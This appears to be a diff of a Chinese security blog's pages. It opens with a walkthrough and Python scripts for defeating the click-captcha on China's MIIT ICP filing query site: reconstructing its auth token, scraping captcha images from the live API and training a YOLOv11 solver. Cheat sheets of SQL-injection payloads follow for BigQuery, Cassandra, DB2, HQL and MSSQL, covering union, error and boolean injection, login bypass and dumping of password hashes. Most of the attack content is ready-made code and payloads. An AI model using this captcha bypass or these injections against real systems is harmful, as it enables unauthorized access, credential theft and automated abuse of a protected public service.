Sign: eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Uuid: ca070c44c01b43668d4235efdc970ebc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"pageNum":"","pageSize":"","unitName":"baidu.com","serviceType":1}
+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:54 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
rci: 13b2f3eed0d64d9ba0f32d7b3c5e3149
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 647

{"code":200,"msg":"操作成功","params":{"endRow":0,"firstPage":1,"hasNextPage":false,"hasPreviousPage":false,"isFirstPage":true,"isLastPage":true,"lastPage":1,"list":[{"contentTypeName":"","domain":"baidu.com","domainId":10000245113,"leaderName":"","limitAccess":"否","mainId":282751,"mainLicence":"京ICP证030173号","natureName":"企业","serviceId":282911,"serviceLicence":"京ICP证030173号-1","unitName":"北京百度网讯科技有限公司","updateRecordTime":"2019-05-16 16:06:21"}],"navigatePages":8,"navigatepageNums":[1],"nextPage":1,"pageNum":1,"pageSize":10,"pages":1,"prePage":1,"size":1,"startRow":0,"total":1},"success":true}
+

参数分析​

+

Token​

+

我们首先分析Token从哪里来的,可以从上面的三次请求发现,每次请求都携带了Token 那么 token 从哪里来呢?

+

我们先清理一遍浏览器,并刷新

+

image-20250506103745329

+

可以看到这里的请求包,是用来获取Token的

+

image-20250506105052785

+

分析一下前端代码

+

image-20250506110308731

+

跟进调试

+

image-20250506110411706

+

这个auth 就是 testtest+时间戳的md5

+

image-20250506110856409

+

pointJson​

+

那么接下来,查看第二次请求的pointJson是如何来的

+

image-20250506114618926

+

这个 checkPointArr就是这4个点

+

image-20250506114656507

+

跟进调试发现是 AES Pkcs7填充加密

+

image-20250506131510200

+

那么现在关键的来了,checkPointArr 这4个点从哪里来,就是我们接下来的重点了

+

checkPointArr​

+

可以看到他是获取的图片坐标,并添加画圆

+

image-20250506134038917

+

添加后,又进行了画圆的操作

+

image-20250506134346670

+

4个点选完后,触发 checkImgPoint

+

image-20250506134439536

+

我们跟进调试,发现就是请求函数

+

image-20250506134509953

+

所以,我们要实现验证码的自动化,就要让脚本知道这4个点的位置,那么该怎么做呢?

+

点选验证码的自动化​

+

让模型学会点字​

+

点选验证码,传统方法大多是人眼自己看图、自己选,但我们今天的目标很明确:让机器做这些事——自动从图片中识别汉字,按顺序点击。整个过程分为两步:识别图中的汉字位置,然后根据提供的提示字,按正确顺序点击。

+

两步走:从图像到点击​

+
    +
  1. 图像识别: 首先,模型需要识别出图中的 5 个汉字。也就是从整个验证码图片中提取出每个字的坐标,这一步就像让模型具备“看图”的能力,准确找出每个字的位置。
  2. +
  3. 字匹配与排序: 然后,模型根据目标提示,判断图中的哪个字是正确的,并按顺序给出点击顺序。这就相当于“配对”工作,模型要能够判断每个字和提示字的相似度,并按正确的顺序进行排列。
  4. +
+

看起来这很简单,但实际上,这两步可不简单,尤其是图中的干扰信息和字体的变化,给了传统方法不小的挑战。所以,我们需要借助机器学习,尤其是深度学习,来提高识别的准确性。

+

接下来的步骤将详细介绍如何利用 YOLOv5 来识别图中的字,并使用孪生网络进行字匹配。最终,我们会把这些信息转化成可以提交的 pointson 参数。

+

先把字抠出来,提取每个字的位置​

+

验证码中的 5 个字需要通过准确的图像处理技术提取出来,才能进一步处理并进行点击。为了实现这个目标,我们将使用 YOLOv11 模型来检测每个汉字的位置,YOLOv11 是 YOLO 系列的最新版本,相比之前的版本在精度和效率上有了进一步提升。

+

YOLOv11 是最新的目标检测模型,相比 YOLOv5 和其他版本,它在多种标准数据集上都有更强的表现,能够实现更快的推理速度和更高的精度。对于验证码图片来说,我们将用 YOLOv11 来检测汉字的坐标,为后续的点击顺序匹配打下基础。

+

数据集准备​

+

首先,我们需要准备一个包含大量验证码图像和对应标注数据的训练集。标注的内容是每个汉字的矩形框,指示其在图像中的位置。我们可以使用像 labelImg 这样的工具进行手动标注,给每个汉字打上标签并记录其坐标。

+

使用下面代码

+
def getImage(token):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Referer": "https://beian.miit.gov.cn/",
"Token": token,
"Connection": "keep-alive",
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "https://beian.miit.gov.cn"
}
payload = {
"clientUid": "point-" + str(uuid.uuid4())
}
try:
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",
headers=headers, json=payload, verify=False).json()
return resp["params"], payload["clientUid"]
except Exception:
time.sleep(5)
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",
headers=headers, json=payload, verify=False).json()
return resp["params"], payload["clientUid"]

def auth():
t = str(round(time.time()))
data = {
"authKey": hashlib.md5(("testtest" + t).encode()).hexdigest(),
"timeStamp": t
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Referer": "https://beian.miit.gov.cn/",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "https://beian.miit.gov.cn"
}
try:
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,
data=parse.urlencode(data), verify=False).text
return json.loads(resp)["params"]["bussiness"]
except Exception:
time.sleep(5)
resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,
data=parse.urlencode(data), verify=False).text
return json.loads(resp)["params"]["bussiness"]

def get_origin_data(save_dir="origin_data", max_images=100):
"""
获取验证码图片并保存到指定目录。如果发生异常,会重新尝试获取剩余数量的图片。

:param save_dir: 图片保存的目录,默认为 "data/img/big/"
:param max_images: 最大保存的图片数量,默认为 100
"""
token = auth()
time.sleep(0.1)

# 确保保存目录存在
if not os.path.exists(save_dir):
os.makedirs(save_dir)

# 记录已获取的图片数量
images_saved = 0

while images_saved < max_images:
try:
for i in range(images_saved, max_images): # 获取指定数量的图片
print(f"正在获取第{i + 1}张验证码") # i 从 0 开始,所以显示为 i + 1

# 每5次重新获取token
if i % 5 == 0:
token = auth()
time.sleep(0.1)

params, clientUid = getImage(token) # 获取图片信息
# 如果params为空或异常,继续
if not params:
raise ValueError("获取验证码数据失败,重新尝试...")

# 生成随机文件名
filename = random_filename() + ".jpg"
save_path = os.path.join(save_dir, filename)

# 保存图片
with open(save_path, "wb") as f:
f.write(base64.b64decode(params["bigImage"]))

print(f"第{i + 1}张验证码已保存为 {filename}")
images_saved += 1 # 增加已保存的图片数量
time.sleep(1.5)

except Exception as e:
print(f"错误: {e},正在重新尝试获取剩余的 {max_images - images_saved} 张验证码")
# 如果发生异常,继续从剩余图片数开始
time.sleep(2) # 等待一会后重新尝试
continue
+

讲得到的图片集,进行手动标注 使用 labelImg

+

image-20250506140354189

+

这里有几个快捷键

+
    +
  • W:画框
  • +
  • A:上一张
  • +
  • D:一下涨
  • +
  • command + v:复制上一张的画框
  • +
+

大概标注 200-300张图片即可

+

训练 YOLOv11​

+

利用标注好的数据集来训练 YOLOv11 模型

+

首先对原始图片进行拆分,进行8:2 进行才分为 train和val 目录

+
def split(p=os.path.join("datasets", "all")):
dataset_path = p
images_path = os.path.join(dataset_path, "images")
labels_path = os.path.join(dataset_path, "labels")

output_dir = "datasets" # 输出的拆分目录
train_ratio = 0.8
val_ratio = 0.2
# test_ratio = 0.1

# 确保比例加和为1
# assert train_ratio + val_ratio == 1.0

# 创建输出目录
for split in ["train", "val"]:
os.makedirs(os.path.join(output_dir, split, "images"), exist_ok=True)
os.makedirs(os.path.join(output_dir, split, "labels"), exist_ok=True)

# 获取所有图片文件名
image_files = [f for f in os.listdir(images_path) if f.endswith(('.jpg', '.png'))]
random.shuffle(image_files)

# 计算拆分数量
total_images = len(image_files)
train_count = int(total_images * train_ratio)
val_count = int(total_images * val_ratio)

# 拆分数据集
train_files = image_files[:train_count]
val_files = image_files[train_count:train_count + val_count]

# 拷贝文件函数
def copy_files(file_list, split):
for file in file_list:
# 复制图片
src_image_path = os.path.join(images_path, file)
dst_image_path = os.path.join(output_dir, split, "images", file)
shutil.copy(src_image_path, dst_image_path)

# 复制标签
label_file = file.replace('.jpg', '.txt').replace('.png', '.txt')
src_label_path = os.path.join(labels_path, label_file)
dst_label_path = os.path.join(output_dir, split, "labels", label_file)
if os.path.exists(src_label_path): # 确保标签文件存在
shutil.copy(src_label_path, dst_label_path)

# 拷贝到不同集合
copy_files(train_files, "train")
copy_files(val_files, "val")

print("数据集拆分完成!")
+

拆分完成后进行训练

+
def train(train_model="yolo11n.pt"):
model = YOLO(train_model)

# 文字
model.train(data="./dataset.yaml", epochs=100, imgsz="190,500", device="mps")
#
# # Export the model to ONNX format
model.export(format="onnx", imgsz="190,500")
+

dataset.yaml

+
train: train
val: val # 验证集图像路径
test: test # 测试集图像路径

nc: 1 # 只有一个类别
names: ['0']
+

训练完成后 会生成 模型文件 best.onnx

+

image-20250506141137165

+

图像推理与提取​

+

训练好的 YOLOv11 模型可以用来对实际的验证码图像进行推理。它会在图像中输出多个矩形框,每个框的坐标标示一个识别到的汉字的位置。模型会同时提供每个框的置信度,表示它对这个字的识别信心。

+

训练完成后,用下面的代码进行测试 查看 5个图片是否满足要求

+
def test(big_img="", onnx="best.onnx", confidence_thres=0.7, iou_thres=0.7):
if big_img == "":
token = auth()
time.sleep(0.1)
params, clientUid = getImage(token) # 获取图片信息
big_img = read_base64_image(base64_string=params["bigImage"])
else:
big_img = read_base64_image(big_img)

session = onnxruntime.InferenceSession(onnx)
model_inputs = session.get_inputs()

# 读取图像并处理

img_height, img_width = big_img.shape[:2]
img = cv2.cvtColor(big_img, cv2.COLOR_BGR2RGB)
img = cv2.resize(img, (512, 192))
image_data = np.array(img) / 255.0
image_data = np.transpose(image_data, (2, 0, 1))
image_data = np.expand_dims(image_data, axis=0).astype(np.float32)
input = {model_inputs[0].name: image_data}
output = session.run(None, input)
outputs = np.transpose(np.squeeze(output[0]))
rows = outputs.shape[0]
boxes, scores = [], []
x_factor = img_width / 512
y_factor = img_height / 192
for i in range(rows):
classes_scores = outputs[i][4:]
max_score = np.amax(classes_scores)
if max_score >= confidence_thres:
x, y, w, h = outputs[i][0], outputs[i][1], outputs[i][2], outputs[i][3]
left = int((x - w / 2) * x_factor)
top = int((y - h / 2) * y_factor)
width = int(w * x_factor)
height = int(h * y_factor)
boxes.append([left, top, width, height])
scores.append(max_score)
indices = cv2.dnn.NMSBoxes(boxes, scores, confidence_thres, iou_thres)
if len(indices) < 5:
print("检测框数量不足5个")
return False
indices = indices[:5]
for idx in indices: # 使用 indices.flatten() 展开为一维数组
box = boxes[idx] # 获取框
x, y, w, h = box[0], box[1], box[2], box[3]
# 防止越界
x1 = max(0, x)
y1 = max(0, y)
x2 = min(x + w, img_width)
y2 = min(y + h, img_height)

# 裁剪图片
cropped_img = big_img[y1:y2, x1:x2]

# 保存图片
save_path = f"cut_image_{idx}.jpg"
cv2.imwrite(save_path, cropped_img)
print(f"保存图片到 {save_path}")

pass
+

用孪生网络做了个比一比​

+
    +
  • 前面我们已经用 YOLOv11 把验证码图片里的 5 个字抠出来了,但这些字是图像,不是文本。与此同时,验证码的提示信息(比如“请按顺序点击:强、光、爱、国”)给的是文字内容。
  • +
  • 模板字从提示区域截出来
  • +
  • 最终模型选出匹配得分最高的 4 个,按位置排序
  • +
+

四、生成最终的 pointson 参数​

+
    +
  • 把 4 个字的位置 → 生成 4 个点坐标
  • +
  • 按顺序组织好构造成 pointson 参数
  • +
  • 示例结构 or 抓包参考一下真实样子
  • +
+

五、结果还行吗?​

+
    +
  • 成功率测试
  • +
  • 错误的主要点在哪儿(识别不准?匹配失败?)
  • +
  • 有啥优化空间(增强图像、加数据、多训练)
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html new file mode 100644 index 0000000..2d2efb6 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/BigQuery/index.html @@ -0,0 +1,42 @@ + + + + + +BigQuery | wjlin0 + + + + + + + +

BigQuery

作者修订时间
wjlin02023-07-05 21:37:29
+

总结​

+

侦查​

+
    +
  • 使用经典的单引号触发错误: '
  • +
  • 使用回溯符号识别 BigQuery:SELECT .... FROM `` AS ...
  • +
+
# Gathering project id
select @@project_id

# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA

# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
+

大的​

+
select 1#from here it is not working
select 1/*between those it is not working*/
+

基于 BigQuery 联合​

+
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
+

基于 BigQuery 错误​

+
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
+

基于 BigQuery 布尔值​

+
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
+

基于时间的 BigQuery​

+
    +
  • BigQuery 语法中不存在基于时间的函数。
  • +
+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html new file mode 100644 index 0000000..0d7ae99 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Cassandra/index.html @@ -0,0 +1,40 @@ + + + + + +Cassandra | wjlin0 + + + + + + + +

Cassandra

作者修订时间
wjlin02023-07-05 21:37:29
+
+

Apache Cassandra 是一个免费开源的分布式宽列存储 NoSQL 数据库管理系统

+
+

总结​

+ +

卡桑德拉评论​

+
/* Cassandra Comment */
+

Cassandra-绕过登录​

+

登录绕过 0​

+
username: admin' ALLOW FILTERING; %00
password: ANY
+

绕过登录 1​

+
username: admin'/*
password: */and pass>'
+

注入看起来像下面的 SQL 查询

+
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
+

参考文献​

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html new file mode 100644 index 0000000..087f83b --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/DB2/index.html @@ -0,0 +1,92 @@ + + + + + +DB2 | wjlin0 + + + + + + + +

DB2

作者修订时间
wjlin02023-07-05 21:37:29
+

总结​

+ +

DB2 聊天​

+

版本​

+
select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
+

评论​

+
select blah from foo -- comment like this (double dash)
+

当前用户​

+
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
+

列出用户​

+

DB2 使用操作系统帐户

+
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
+

列出权限​

+
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
+

列出 DBA 帐户​

+
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
+

当前数据库​

+
select current server from sysibm.sysdummy1
+

列出数据库​

+
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
+

列出列​

+
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
+

列出表格​

+
select table_name from sysibm.tables
select name from sysibm.systables
+

从列名查找表​

+
select tbname from sysibm.syscolumns where name='username'
+

选择第 N 行​

+
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
+

选择第 N 个字符​

+
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
+

按位与/或/非/异或​

+
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
+

ASCII 值​

+
Char	select chr(65) from sysibm.sysdummy1 -- returns 'A'
+

字符->ASCII 值​

+
select ascii('A') from sysibm.sysdummy1 -- returns 65
+

铸造​

+
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
+

凹形字符串​

+
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
+

IF 声明​

+

似乎只允许在存储过程中使用。请改用案例逻辑。

+

案例说明​

+
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
+

避免引用​

+
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
+

时间延迟​

+

重查询,例如:如果用户以 ascii 68('D')开头,则将执行重查询,从而延迟响应。然而,如果用户不从 ascii 68 开始,那么重查询将不会执行,因此响应将更快。

+
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 
+

序列化为 XML(用于基于错误的)​

+
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
+

命令执行和本地文件访问​

+

似乎只允许来自过程或 UDF。

+

主机名/IP 和操作系统信息​

+
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
+

数据库文件的位置​

+
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
+

系统配置​

+
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
+

默认系统数据库​

+
    +
  • 系统 ibm
  • +
  • 系统计算机
  • +
  • 系统统计
  • +
  • 系统公共
  • +
  • 摘要
  • +
  • 系统工具
  • +
+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html new file mode 100644 index 0000000..58ca846 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/HQL/index.html @@ -0,0 +1,75 @@ + + + + + +HQL | wjlin0 + + + + + + + +

HQL

作者修订时间
wjlin02023-07-05 21:37:29
+
+

Hibernate ORM(简称 Hibernate)是 Java 编程语言的对象关系映射工具。它提供了一个将面向对象的域模型映射到关系数据库的框架维基百科

+
+

HQL 评论​

+
HQL does not support comments
+

HQL 列表列​

+
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
+

使用一个不存在的列将导致一个异常,泄漏多个列名。

+
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
+

基于 HQL 错误​

+
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
+

基于值强制转换的错误。

+
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
+

⚠️

+

单引号转义​

+

方法适用于 MySQL DBMS,该 DBMS 使用 SLASH 转义字符串中的 SINGLE QUOTES \'。

+

在 HQL 中,SINGLE QUOTES 通过加倍 '' 以字符串形式转义。

+
'abc\''or 1=(select 1)--'
+

在 HQL 中它是一个字符串,在 MySQL 中它是字符串和附加的 SQL 表达式。

+

$ 带引号的字符串​

+

方法适用于允许在 SQL 表达式中使用 DOLLAR-QUOTED 字符串的 DBMS:PostgreSQL,H2。

+

Hibernate ORM 允许标识符以 $$ 开头。

+
$$='$$=concat(chr(61),chr(39)) and 1=1--'
+

DBMS 魔术函数​

+

方法适用于具有 MAGIC FUNCTIONS 的 DBMS,该函数用于计算字符串参数中的 SQL 表达式:PostgreSQL、Oracle。

+

Hibernate 允许在 HQL 表达式中指定任何函数名称。

+

PostgreSQL 内置函数 query_to_xml('Arbitrary SQL')。

+
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
+

Oracle 具有内置功能 DBMS_XMLGEN.getxml('SQL')

+
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
+

统一码​

+

方法适用于允许 SQL 令牌之间使用 UNICODE 分隔符(例如 U+00A0)的 DBMS:Microsoft SQL Server,H2。

+

在 Microsoft SQL SERVER 中, SELECT LEN([U+00A0](select[U+00A0](1)) 的工作原理与相同;

+

HQL 允许在标识符(函数或参数名称)中使用 UNICODE 符号。

+
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
+

Java 常量​

+

方法适用于大多数 DBMS(不适用于 MySQL)。

+

Hibernate 解析 HQL 查询中的 Java 公共静态字段(Java 常量):

+
    +
  • 具有 Java 常量的类必须在类路径中
  • +
  • 例如, java.lang.Character.SIZE 被解析为 16
  • +
  • 字符串或字符常量另外用单引号括起来
  • +
+

要使用 JAVA 常量方法,我们需要在类路径上的类或接口中声明特殊的字符或字符串字段。

+
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
+

众所周知的 Java 库中的一些可用常量:

+
org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
+
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
+

DBMS 的方法​

+

image

+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html new file mode 100644 index 0000000..0d51e65 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MSSQL/index.html @@ -0,0 +1,172 @@ + + + + + +MSSQL | wjlin0 + + + + + + + +

MSSQL

作者修订时间
wjlin02023-07-05 21:37:29
+

MSSQL 默认数据库​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name描述
pubsMSSQL 2005 上不可用
model提供所有版本
msdb提供所有版本
tempdb提供所有版本
northwind提供所有版本
information_schemaMSSQL 2000 及更高版本中的 Availalble
+

MSSQL 注释​

+ + + + + + + + + + + + + + + + + + + + + +
Type描述
/* MSSQL Comment */C 样式注释
-- -SQL 注释
;%00空字节
+

MSSQL 用户​

+
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
+

MSSQL Version​

+
SELECT @@version
+

MSSQL 主机名​

+
SELECT HOST_NAME()
SELECT @@hostname
SELECT @@SERVERNAME
SELECT SERVERPROPERTY('productversion')
SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition');
+

MSSQL 数据库名称​

+
SELECT DB_NAME()
+

MSSQL 数据库凭据​

+
    +
  • :哈希猫模式 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 +
    SELECT name, password FROM master..sysxlogins
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
    -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
    +
  • +
  • :哈希猫模式 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe +
    SELECT name, password_hash FROM master.sys.sql_logins
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
    +
  • +
+

MSSQL 列表数据库​

+
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
+

MSSQL 列表列​

+
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
+

MSSQL 列表表​

+
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
+

基于 MSSQL 联合​

+
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
